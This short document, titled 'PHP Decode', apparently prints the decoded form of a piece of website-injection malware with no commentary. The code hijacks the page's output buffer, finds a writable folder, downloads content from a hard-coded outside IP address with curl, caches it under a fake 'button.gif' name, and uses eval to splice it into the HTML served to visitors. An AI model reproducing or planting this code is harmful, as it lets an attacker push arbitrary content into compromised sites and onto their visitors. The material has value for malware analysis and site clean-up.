PHP Decode

$c=ob_get_contents();if($c){ob_clean();$u=dirname(__FILE__);$l='/';$f='../';$m='<!--';$n='-->';$a='substr';$fgc='file_get_contents';$z=54000;$da=explode($l,'images/media/cache/tmp/mp3/templates/modules');$dz=array($l,$l.$f,$l.$f.$f);foreach($da as $v){foreach($dz as $vv){if(@is_writable($d))break 2;$d=$u.$vv.$v;}}if(!is_writable($d)){}else{$l=$d.'/button.gif';$d='default_socket_timeout';$o=ini_get($d);ini_set($d,3);if(!@file_exists($l)||((time()-@filemtime($l)))>$z){$q=curl_init();curl_setopt($q,CURLOPT_URL,'http://193.111.244.157/b/');curl_setopt($q,CURLOPT_HEADER,false);curl_setopt($q,CURLOPT_RETURNTRANSFER,true);$s=curl_exec($q);curl_close($q);if($s){$b=fopen($l,"w");fwrite($b,$s);fclose($b);}}if(!$s)$s=@$fgc($l);ini_set($d,$o);if($s&&@stripos($c,$s)===false){$l='$p=@stripos($c,\'<';$k='>\',$z);';eval($l.'body'.$k);$z=$p+intval((strlen($c)-$p)*0.3);eval($l.'/div'.$k);$l='if($p===false)'.$l;eval($l.'/p'.$k);eval($l.'br'.$k);eval($l.'/body'.$k);if($p)echo $a($c,0,$p).$s.$a($c,$p);else echo $c.$s;}else{echo $c;}}}